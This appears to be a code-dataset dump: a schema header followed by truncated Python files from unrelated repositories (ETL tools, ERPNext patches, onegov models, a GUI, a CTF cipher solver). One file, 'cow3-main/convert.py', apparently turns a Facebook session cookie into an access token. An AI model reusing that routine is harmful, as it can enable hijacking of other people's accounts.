hexsha
stringlengths
40
40
size
int64
6
782k
ext
stringclasses
7 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
72
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
list
max_stars_count
int64
1
53k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
184
max_issues_repo_name
stringlengths
6
72
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
list
max_issues_count
int64
1
27.1k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
184
max_forks_repo_name
stringlengths
6
72
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
list
max_forks_count
int64
1
12.2k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
782k
avg_line_length
float64
2.75
664k
max_line_length
int64
5
782k
alphanum_fraction
float64
0
1
147df8944cd7484256b08e1eb5f8b3b06c04c94f
11,469
py
Python
etl/data_management/data_manager.py
Betadinho/einander-helfen
272f11397d80ab5267f39a7b36734495f1c00b0c
[ "MIT" ]
7
2020-04-23T20:16:11.000Z
2022-01-04T14:57:16.000Z
etl/data_management/data_manager.py
Betadinho/einander-helfen
272f11397d80ab5267f39a7b36734495f1c00b0c
[ "MIT" ]
361
2020-04-23T17:20:14.000Z
2022-03-02T11:29:45.000Z
etl/data_management/data_manager.py
Betadinho/einander-helfen
272f11397d80ab5267f39a7b36734495f1c00b0c
[ "MIT" ]
1
2021-11-29T06:02:52.000Z
2021-11-29T06:02:52.000Z
import os import time import datetime import shutil from shared.logger_factory import LoggerFactory from shared.utils import read_data_from_json, write_data_to_json ROOT_DIR = os.environ['ROOT_DIR'] class DataManager: """ Class that collects the enhanced data from the scraping process, manages backups and compos...
49.223176
120
0.69108
b4c37fc25304ebef42f2066baff996aba5eea075
2,101
py
Python
frappe-bench/apps/erpnext/erpnext/patches/v6_0/multi_currency.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
1
2021-04-29T14:55:29.000Z
2021-04-29T14:55:29.000Z
frappe-bench/apps/erpnext/erpnext/patches/v6_0/multi_currency.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/patches/v6_0/multi_currency.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
1
2021-04-29T14:39:01.000Z
2021-04-29T14:39:01.000Z
# Copyright (c) 2013, Web Notes Technologies Pvt. Ltd. and Contributors # License: GNU General Public License v3. See license.txt from __future__ import unicode_literals import frappe def execute(): # Reload doctype for dt in ("Account", "GL Entry", "Journal Entry", "Journal Entry Account", "Sales Invoice", "Purc...
31.833333
108
0.725845
9f2345fe839c053af5eec08be0f5714eb48b504d
17,826
py
Python
Packs/GuardiCore/Integrations/GuardiCoreV2/GuardiCoreV2.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/GuardiCore/Integrations/GuardiCoreV2/GuardiCoreV2.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/GuardiCore/Integrations/GuardiCoreV2/GuardiCoreV2.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import demistomock as demisto from CommonServerPython import * from CommonServerUserPython import * import requests import traceback from typing import Dict, Any, Tuple import base64 import json from dateparser import parse from pytz import utc # Disable insecure warnings requests.packages.urllib3.disable_warnings() ...
33.633962
110
0.621171
b3b9cb38745950337a9c524d6b2446f4e3319162
4,652
py
Python
udm-bildungslogin/ucs-test/97_bildungslogin_udm/004_acls.py
univention/bildungslogin
29bebe858a5445dd5566aad594b33b9dd716eca4
[ "MIT" ]
null
null
null
udm-bildungslogin/ucs-test/97_bildungslogin_udm/004_acls.py
univention/bildungslogin
29bebe858a5445dd5566aad594b33b9dd716eca4
[ "MIT" ]
null
null
null
udm-bildungslogin/ucs-test/97_bildungslogin_udm/004_acls.py
univention/bildungslogin
29bebe858a5445dd5566aad594b33b9dd716eca4
[ "MIT" ]
null
null
null
#!/usr/share/ucs-test/runner /usr/bin/py.test -slvv --cov --cov-config=.coveragerc --cov-append --cov-report= # -*- coding: utf-8 -*- ## desc: Run tests for the replication ACLs of the UDM modules ## roles: [domaincontroller_master, domaincontroller_backup, domaincontroller_slave] ## exposure: dangerous ## tags: [udm-b...
39.760684
109
0.725709
b3f3cc275775cb879b9e322b6f79a01e558eba4b
318
py
Python
python/coursera_python/WESLEYAN/week3/COURSERA/week_3/t_4.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
python/coursera_python/WESLEYAN/week3/COURSERA/week_3/t_4.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
python/coursera_python/WESLEYAN/week3/COURSERA/week_3/t_4.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
def problem3_4(mon, day, year): months = {"January":1, "February":2, "March":3, "April":4,"May":5,"June":6,"July":7,"August":8,"September":9,"October":10,"November":11,"December":12} mon_f = months[mon] #print(mon_f) fin_f = str(mon_f) + '/' + str(day) + '/' + str(year) print(fin_f) #problem3_4("July",17,2016)
35.333333
151
0.622642
80b1512b43fb6b55dafd1ec908ab5fa44c149773
300
py
Python
src/onegov/pay/models/__init__.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/pay/models/__init__.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/pay/models/__init__.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from onegov.pay.models.payable import Payable, PayableManyTimes from onegov.pay.models.payment import ManualPayment, Payment from onegov.pay.models.payment_provider import PaymentProvider __all__ = ( 'ManualPayment', 'Payable', 'PayableManyTimes', 'Payment', 'PaymentProvider' )
25
63
0.76
456ed698739b10da28c354bf69b9fc601256e7e7
362
py
Python
src/onegov/gazette/views/__init__.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/gazette/views/__init__.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/gazette/views/__init__.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from onegov.user import UserCollection def get_user(request): session = request.session return UserCollection(session).by_username(request.identity.userid) def get_user_and_group(request): user = get_user(request) return ( [user.id] if (user and not user.group) else [], [user.group.i...
24.133333
71
0.687845
9228a933dc22dedf160113763626c2c8f9310a82
1,715
py
Python
RDS/circle2_use_cases/port/src/api/Redirect.py
Sciebo-RDS/Sciebo-RDS
d71cf449ed045a2a7a049e2cb77c99fd5a9195bd
[ "MIT" ]
10
2020-06-24T08:22:24.000Z
2022-01-13T16:17:36.000Z
RDS/circle2_use_cases/port/src/api/Redirect.py
Sciebo-RDS/Sciebo-RDS
d71cf449ed045a2a7a049e2cb77c99fd5a9195bd
[ "MIT" ]
78
2020-01-23T14:32:06.000Z
2022-03-07T14:11:16.000Z
RDS/circle2_use_cases/port/src/api/Redirect.py
Sciebo-RDS/Sciebo-RDS
d71cf449ed045a2a7a049e2cb77c99fd5a9195bd
[ "MIT" ]
1
2020-06-24T08:33:48.000Z
2020-06-24T08:33:48.000Z
from flask import request, redirect import Util import jwt import os import requests from jwt.exceptions import InvalidSignatureError import logging from lib.Exceptions.ServiceException import CodeNotExchangeable from RDS import OAuth2Service from connexion_plus import FlaskOptimize func = [Util.initialize_object_fro...
27.222222
117
0.664723
92b4245b0e9e0c3b199be3dd764cc3a57c7c9f96
353
py
Python
crypto/Shuffler/solve.py
vidner/codepwnda-ctf
7e086044b753fe555b44395b79827d2f5b89da1d
[ "Unlicense" ]
6
2021-02-18T15:07:55.000Z
2022-02-04T01:38:10.000Z
crypto/Shuffler/solve.py
vidner/codepwnda-ctf
7e086044b753fe555b44395b79827d2f5b89da1d
[ "Unlicense" ]
null
null
null
crypto/Shuffler/solve.py
vidner/codepwnda-ctf
7e086044b753fe555b44395b79827d2f5b89da1d
[ "Unlicense" ]
null
null
null
from random import randint from string import maketrans def decrypt(msg): x = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' y = 'BXcjk7JCT5goWsq9Lhr2zvVISbKfGteauUHMlRiQ3Nd6A8p14OnmZ0xyYFPEwD' z = maketrans(y, x) return msg.translate(z) ct = open('ciphertext.txt').read().strip() for i in range(...
25.214286
69
0.784703
2b8339fd9b51e8bd334a7306ce36af66f2f5814f
1,028
py
Python
src/kinect/KinectDummy.py
florianletsch/kinect-juggling
f320cc0b55adf65d338d25986a03106a7e3f46ef
[ "Unlicense", "MIT" ]
7
2015-11-27T09:53:32.000Z
2021-01-13T17:35:54.000Z
src/kinect/KinectDummy.py
florianletsch/kinect-juggling
f320cc0b55adf65d338d25986a03106a7e3f46ef
[ "Unlicense", "MIT" ]
null
null
null
src/kinect/KinectDummy.py
florianletsch/kinect-juggling
f320cc0b55adf65d338d25986a03106a7e3f46ef
[ "Unlicense", "MIT" ]
null
null
null
import os import numpy as np class KinectDummy(object): """Offers access to recorded dummy data the same way the Kinect would return it""" def __init__(self): self.path = "frames" (_, _, files) = os.walk(self.path).next() self.frames_rgb = [] self.frames_depth = [] ...
35.448276
87
0.595331
a6115611282fb54ac1577fcaf5e37e3a8924a681
3,109
py
Python
listings/chapter05/predefined_sudoku.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
2
2021-09-20T06:16:41.000Z
2022-01-17T14:24:43.000Z
listings/chapter05/predefined_sudoku.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
null
null
null
listings/chapter05/predefined_sudoku.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
null
null
null
from sys import argv, exit from csp import CSP # Hilfsfunktion: alle Werte einer Zeile oder Spalte ermitteln def filter_dict_by_key(dict_to_filter, condition): filtered_list = [] for key in dict_to_filter: if condition(key): filtered_list.append(dict_to_filter[key]) return filtered_list...
33.430108
84
0.594403
a636d148e3de9034d3ac7e46dd98893d775688d4
5,774
py
Python
etl/data_extraction/scrapers/betterplace.py
Betadinho/einander-helfen
272f11397d80ab5267f39a7b36734495f1c00b0c
[ "MIT" ]
7
2020-04-23T20:16:11.000Z
2022-01-04T14:57:16.000Z
etl/data_extraction/scrapers/betterplace.py
Betadinho/einander-helfen
272f11397d80ab5267f39a7b36734495f1c00b0c
[ "MIT" ]
361
2020-04-23T17:20:14.000Z
2022-03-02T11:29:45.000Z
etl/data_extraction/scrapers/betterplace.py
Betadinho/einander-helfen
272f11397d80ab5267f39a7b36734495f1c00b0c
[ "MIT" ]
1
2021-11-29T06:02:52.000Z
2021-11-29T06:02:52.000Z
import re from data_extraction.scraper import Scraper class BetterplaceScraper(Scraper): """Scrapes the website https://www.betterplace.org.""" base_url = 'https://www.betterplace.org' debug = True def parse(self, response, url): """Handles the soupified response of a detail page in the pre...
38.751678
108
0.54018
47102871a1a8762d0616d6470d0bfe440ead0a36
1,644
py
Python
frappe-bench/apps/erpnext/erpnext/patches/v8_0/create_domain_docs.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/patches/v8_0/create_domain_docs.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/patches/v8_0/create_domain_docs.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
# Copyright (c) 2013, Web Notes Technologies Pvt. Ltd. and Contributors # License: GNU General Public License v3. See license.txt from __future__ import unicode_literals import frappe import erpnext def execute(): """Create domain documents""" frappe.reload_doc("core", "doctype", "domain") frappe.reload_doc("core"...
31.018868
119
0.738443
5b6ee24ccb6aaad1638d83678420cf5c65e9709b
1,290
py
Python
modules/constants.py
metxchris/MMM-Explorer
251b4d7af56241882611bc47e94ec2923e4be8da
[ "MIT" ]
null
null
null
modules/constants.py
metxchris/MMM-Explorer
251b4d7af56241882611bc47e94ec2923e4be8da
[ "MIT" ]
null
null
null
modules/constants.py
metxchris/MMM-Explorer
251b4d7af56241882611bc47e94ec2923e4be8da
[ "MIT" ]
null
null
null
# Values for Formatting TIME_VALUE_SIGFIGS = 3 # Number Formatters INPUT_VARIABLE_VALUE_FMT = '.8e' INPUT_CONTROL_VALUE_FMT = '.8f' SCAN_FACTOR_DISPLAY_FMT = '.3g' TIME_DISPLAY_FMT = f'.{TIME_VALUE_SIGFIGS}g' SCAN_FACTOR_FMT = '0>7.3f' TIME_VALUE_FMT = f'.{TIME_VALUE_SIGFIGS}f' RHO_VALUE_FMT = '.3f' SHEET_NUM_FMT = '0...
40.3125
107
0.53876
1b1b8cfb63e858694394d74073a30d884a9cece4
86
py
Python
DCM/programs/__init__.py
l-althueser/NiMoNa_DCM16
d93ee253ade8ccb4da1f17a91f064258adcf29c0
[ "BSD-2-Clause" ]
1
2018-04-20T07:44:11.000Z
2018-04-20T07:44:11.000Z
DCM/programs/__init__.py
l-althueser/NiMoNa_DCM16
d93ee253ade8ccb4da1f17a91f064258adcf29c0
[ "BSD-2-Clause" ]
null
null
null
DCM/programs/__init__.py
l-althueser/NiMoNa_DCM16
d93ee253ade8ccb4da1f17a91f064258adcf29c0
[ "BSD-2-Clause" ]
null
null
null
# -*- coding: utf-8 -*- """ Created on Sat Jun 18 17:13:34 2016 @author: Tobias """
10.75
35
0.569767
ca6faf0a8430964b9aa4918bf30318cc2f7bd35b
4,779
py
Python
rawio/align/vertical.py
hdkai/Raw-IO
f0fa928d7ef59a363c6f4c876d642af6dede6ae4
[ "Apache-2.0" ]
null
null
null
rawio/align/vertical.py
hdkai/Raw-IO
f0fa928d7ef59a363c6f4c876d642af6dede6ae4
[ "Apache-2.0" ]
null
null
null
rawio/align/vertical.py
hdkai/Raw-IO
f0fa928d7ef59a363c6f4c876d642af6dede6ae4
[ "Apache-2.0" ]
null
null
null
# # RawIO # Copyright (c) 2021 Yusuf Olokoba. # from cv2 import getPerspectiveTransform, getRotationMatrix2D, transform, warpPerspective from lsd import line_segment_detector from numpy import abs, array, asarray, arctan2, eye, float32, ndarray, pi, rad2deg, zeros_like from numpy.linalg import det, inv, qr from P...
39.825
133
0.66855
04c26ab58fed2c541477ab35120a36990357bd57
865
py
Python
src/test/tests/hybrid/specmf.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
226
2018-12-29T01:13:49.000Z
2022-03-30T19:16:31.000Z
src/test/tests/hybrid/specmf.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
5,100
2019-01-14T18:19:25.000Z
2022-03-31T23:08:36.000Z
src/test/tests/hybrid/specmf.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
84
2019-01-24T17:41:50.000Z
2022-03-10T10:01:46.000Z
# ---------------------------------------------------------------------------- # CLASSES: nightly # # Test Case: val4mat.py # # Tests: mesh - 2d structured # plots - pc # # Notes # # Programmer: Cyrus Harrison # Date: Tuesday 12, 2008 # # Modifiations: # # ----------------------...
20.595238
78
0.564162
f3e8a378a530303b20d6a8463f73e7d2ea34d282
2,885
py
Python
DinoWeb.py
ymaninho54/Automation_Dino_Web
f4125fc08c523c8ded29d2340a4210da922a500b
[ "MIT" ]
1
2021-08-06T01:24:13.000Z
2021-08-06T01:24:13.000Z
DinoWeb.py
ymaninho54/Automation_Dino_Web
f4125fc08c523c8ded29d2340a4210da922a500b
[ "MIT" ]
null
null
null
DinoWeb.py
ymaninho54/Automation_Dino_Web
f4125fc08c523c8ded29d2340a4210da922a500b
[ "MIT" ]
null
null
null
import pyautogui import requests import time from PIL import ImageGrab import sys import keyboard def check_internet(): url = 'https://www.google.com' timeout = 5 try: requests.get(url, timeout=timeout) return True except requests.exceptions.ConnectionError: return False whil...
32.784091
107
0.450953
6d3597394f07bbfa1abd01f2c8690ae672374133
12,077
py
Python
code/00_covariates/2-2_CALIBER_skinny.py
BHFDSC/CCU013_01_ENG-COVID-19_event_phenotyping
83afef23f96c7b31fef64c6f735737d1afa3082d
[ "Apache-2.0" ]
null
null
null
code/00_covariates/2-2_CALIBER_skinny.py
BHFDSC/CCU013_01_ENG-COVID-19_event_phenotyping
83afef23f96c7b31fef64c6f735737d1afa3082d
[ "Apache-2.0" ]
null
null
null
code/00_covariates/2-2_CALIBER_skinny.py
BHFDSC/CCU013_01_ENG-COVID-19_event_phenotyping
83afef23f96c7b31fef64c6f735737d1afa3082d
[ "Apache-2.0" ]
null
null
null
# Databricks notebook source # MAGIC %md # MAGIC # Create skinny table of patients & CALIBER phenotypes # MAGIC # MAGIC **Description** # MAGIC # MAGIC 1. For each terminology in `ccu013_caliber_codelist_master` # MAGIC 2. Join data source with codelist on `code` to get `phenotype`: # MAGIC * 1. `terminology = I...
33.924157
141
0.702658
b65636bd55da2ca54748d72fcc293a74ac0495c7
45,589
py
Python
src/onegov/swissvotes/models/column_mapper.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/swissvotes/models/column_mapper.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/swissvotes/models/column_mapper.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from cached_property import cached_property from collections import OrderedDict from onegov.swissvotes.models.vote import SwissVote class ColumnMapperDataset(object): """ Defines the columns used in the dataset and provides helper functions. Typically, you want to iterate over all attributes of a vote (``col...
58.597686
80
0.598565
fcfa4e8c0aaa4f3a200fdb4410fe07271f8bc937
2,106
py
Python
tests/test_enums.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
1
2022-03-02T12:49:44.000Z
2022-03-02T12:49:44.000Z
tests/test_enums.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
21
2022-02-04T07:38:46.000Z
2022-03-28T14:01:53.000Z
tests/test_enums.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
null
null
null
import inspect import re from pathlib import Path from typing import List, Optional, TypeVar import pytest # type:ignore[import] from bo4e.enum import anrede from bo4e.enum.strenum import StrEnum class TestEnums: """ A test class that checks the enum construction. """ starts_with_whitespace_patter...
36.310345
98
0.650047
1ec79774e15ee7551ccf99aa40ee229f5ebc49a5
10,880
py
Python
tead/gui.py
JeFaProductions/TextAdventure2
4ae690a1e41f30a564a77015f76346d55466c325
[ "MIT" ]
2
2016-08-28T21:32:39.000Z
2016-09-02T05:56:53.000Z
tead/gui.py
JeFaProductions/TextAdventure2
4ae690a1e41f30a564a77015f76346d55466c325
[ "MIT" ]
7
2016-09-01T22:03:13.000Z
2019-06-13T21:38:05.000Z
tead/gui.py
JeFaProductions/TextAdventure2
4ae690a1e41f30a564a77015f76346d55466c325
[ "MIT" ]
null
null
null
import tkinter as tk import os # Global configuration parameters to easily change the style. config = dict( # Global "theme" for all widgets. theme=dict( bg="black", fg="white", selectbackground="grey", insertbackground="white", borderwidth=3, font="Courier 9 bol...
28.407311
82
0.585294
94b08d95ebb79cacecc4ae4f649c2212e570477c
1,007
py
Python
cow3-main/data/convert.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
cow3-main/data/convert.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
cow3-main/data/convert.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
import requests as req, re """ Copyright © 2021 - 2023 | Latip176 Semua codingan dibuat oleh Latip176. """ class Main: def __init__(self,cookie): self.cookie=cookie def getToken(self): headers = {'Host':'business.facebook.com','cache-control':'max-age=0','upgrade-insecure-requests':'1','user-agent':'Mozilla...
41.958333
512
0.698113
94de35f47d737b51a615f52acc6ef2ee910d440d
10,775
py
Python
src/sick_ldmrs/params.py
achambers16/sick_ldmrs
a65f2239f474263a16b382bae6fc4cb5e5505ba5
[ "BSD-2-Clause" ]
1
2017-12-29T07:58:31.000Z
2017-12-29T07:58:31.000Z
src/sick_ldmrs/params.py
achambers16/sick_ldmrs
a65f2239f474263a16b382bae6fc4cb5e5505ba5
[ "BSD-2-Clause" ]
null
null
null
src/sick_ldmrs/params.py
achambers16/sick_ldmrs
a65f2239f474263a16b382bae6fc4cb5e5505ba5
[ "BSD-2-Clause" ]
null
null
null
#* Software License Agreement (BSD License) #* #* Copyright (c) 2010, CSIRO Autonomous Systems Laboratory #* All rights reserved. #* #* Redistribution and use in source and binary forms, with or without #* modification, are permitted provided that the following conditions #* are met: #* #* * Redistributions of s...
44.159836
138
0.630534
a2195c862899adb826539a0a4e1993d0e92fabf3
39
py
Python
extract/__init__.py
AlexTibet/ETL
9291712943d0c0f33b288c9fa39be20975f17e72
[ "MIT" ]
null
null
null
extract/__init__.py
AlexTibet/ETL
9291712943d0c0f33b288c9fa39be20975f17e72
[ "MIT" ]
null
null
null
extract/__init__.py
AlexTibet/ETL
9291712943d0c0f33b288c9fa39be20975f17e72
[ "MIT" ]
null
null
null
from extract.extract import Extractor
13
37
0.846154
1572e55490bdcae90d7e5ca5a9f45788ee9dae84
1,609
py
Python
hausse/plugins/layout/handlebars.py
andrenasturas/hausse
58e7cb71d5105cf1d6ec7d294e85668855bf8336
[ "MIT" ]
null
null
null
hausse/plugins/layout/handlebars.py
andrenasturas/hausse
58e7cb71d5105cf1d6ec7d294e85668855bf8336
[ "MIT" ]
1
2021-08-30T21:41:46.000Z
2021-08-30T21:41:46.000Z
hausse/plugins/layout/handlebars.py
andrenasturas/hausse
58e7cb71d5105cf1d6ec7d294e85668855bf8336
[ "MIT" ]
1
2021-08-31T19:27:32.000Z
2021-08-31T19:27:32.000Z
import glob import logging import os import pathlib from pathlib import Path, PurePath from typing import List import pybars from hausse.lib import Element, LayoutPlugin, Project class Handlebars(LayoutPlugin): """ Apply handlebars layouts to elements """ def __call__(self, project: Project): ...
30.942308
121
0.5867
bdd1dc8ad942f3007e8cefe9deece33684719115
1,609
py
Python
year_3/comppi_1/puborgs/modelschoices/orgadditional.py
honchardev/KPI
f8425681857c02a67127ffb05c0af0563a8473e1
[ "MIT" ]
null
null
null
year_3/comppi_1/puborgs/modelschoices/orgadditional.py
honchardev/KPI
f8425681857c02a67127ffb05c0af0563a8473e1
[ "MIT" ]
21
2020-03-24T16:26:04.000Z
2022-02-18T15:56:16.000Z
year_3/comppi_1/puborgs/modelschoices/orgadditional.py
honchardev/KPI
f8425681857c02a67127ffb05c0af0563a8473e1
[ "MIT" ]
null
null
null
ORGSTATUSCHOICES = ( ("NONE", 'Не встановлено'), ("WS", 'Всеукраїнський'), ("MIZH", 'Міжнародний'), ("MISC", 'Місцевий'), ("OBL", 'Обласний'), ("PER", 'Первинний'), ("REG", 'Регіональний'), ("RESP", 'Республіканський'), ) DEFAULTORGSTATUSCHOICE = "NONE" ORGORIENTATIONCHOICES = ( ("N...
33.520833
75
0.626476
bdd33d64e910bb7d57f0a53f63ef01c7f8f439ed
864
py
Python
projects/api/datasets.py
Matheus158257/projects
26a6148046533476e625a872a2950c383aa975a8
[ "Apache-2.0" ]
null
null
null
projects/api/datasets.py
Matheus158257/projects
26a6148046533476e625a872a2950c383aa975a8
[ "Apache-2.0" ]
null
null
null
projects/api/datasets.py
Matheus158257/projects
26a6148046533476e625a872a2950c383aa975a8
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """Datasets blueprint.""" from flask_smorest import Blueprint from ..controllers.datasets import get_dataset, get_dataset_pagination bp = Blueprint("datasets", __name__) @bp.route("", methods=["GET"]) def handle_get_dataset(project_id, experiment_id, operator_id): """Handles GET request...
34.56
114
0.738426
e52a887d7989fed4ff8acdbde86e768dbdc6fc26
2,058
py
Python
dashboard/tasker.py
manojpandey/abtest-hack
def6b7d756e880d5833acb8d95625ecdea05f0f0
[ "MIT" ]
null
null
null
dashboard/tasker.py
manojpandey/abtest-hack
def6b7d756e880d5833acb8d95625ecdea05f0f0
[ "MIT" ]
null
null
null
dashboard/tasker.py
manojpandey/abtest-hack
def6b7d756e880d5833acb8d95625ecdea05f0f0
[ "MIT" ]
null
null
null
import requests import time import json import sys, os from bs4 import BeautifulSoup from selenium import webdriver from selenium.webdriver.support.ui import Select from selenium.webdriver.common.keys import Keys from selenium.common.exceptions import NoSuchElementException def main(): # driver = webdriver.Firefox(...
38.111111
402
0.731778
e59746739bce0bfcbee2a67a7f4ee20dddf85f28
9,700
py
Python
research/cv/3dcnn/src/mindrecord_generator.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/3dcnn/src/mindrecord_generator.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/3dcnn/src/mindrecord_generator.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
40.416667
103
0.58
0094de2637f4b741928d615c9e09585769f3f310
1,481
py
Python
src/onegov/org/views/search.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/org/views/search.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/org/views/search.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
import morepath from onegov.core.security import Public from onegov.org import _, OrgApp from onegov.org.elements import Link from onegov.org.layout import DefaultLayout from onegov.org.models import Search from onegov.search import SearchOfflineError from webob import exc @OrgApp.html(model=Search, template='search...
26.927273
78
0.634706
00deceec04566a56c36541fee2d456b307819a95
66
py
Python
Python/Exercícios_Python/LerNumeroInteiro.py
vdonoladev/aprendendo-programacao
83abbcd6701b2105903b28fd549738863418cfb8
[ "MIT" ]
null
null
null
Python/Exercícios_Python/LerNumeroInteiro.py
vdonoladev/aprendendo-programacao
83abbcd6701b2105903b28fd549738863418cfb8
[ "MIT" ]
null
null
null
Python/Exercícios_Python/LerNumeroInteiro.py
vdonoladev/aprendendo-programacao
83abbcd6701b2105903b28fd549738863418cfb8
[ "MIT" ]
null
null
null
inteiro = int(input('Digite um número inteiro: ')) print(inteiro)
22
50
0.727273
dae5cd00d3d23a23d72826b77903f38a54aa8a12
179
py
Python
reverse/0neWay/script.py
killua4564/2019-AIS3-preexam
b13b5c9d3a2ec8beef7cca781154655bb51605e3
[ "MIT" ]
1
2019-06-15T11:45:41.000Z
2019-06-15T11:45:41.000Z
reverse/0neWay/script.py
killua4564/2019-AIS3-preexam
b13b5c9d3a2ec8beef7cca781154655bb51605e3
[ "MIT" ]
null
null
null
reverse/0neWay/script.py
killua4564/2019-AIS3-preexam
b13b5c9d3a2ec8beef7cca781154655bb51605e3
[ "MIT" ]
null
null
null
import idc ea = 0x202010 ea_stop = 0x22ec59 with open("flag.jpg", "wb") as flag: while ea <= ea_stop: flag.write(chr(idc.Byte(ea))) ea += 1 #$ xortool flag.jpg -l 20 -c 20
16.272727
36
0.642458
9747cef92ae823693762945103f5c3aa7d7d20ce
142
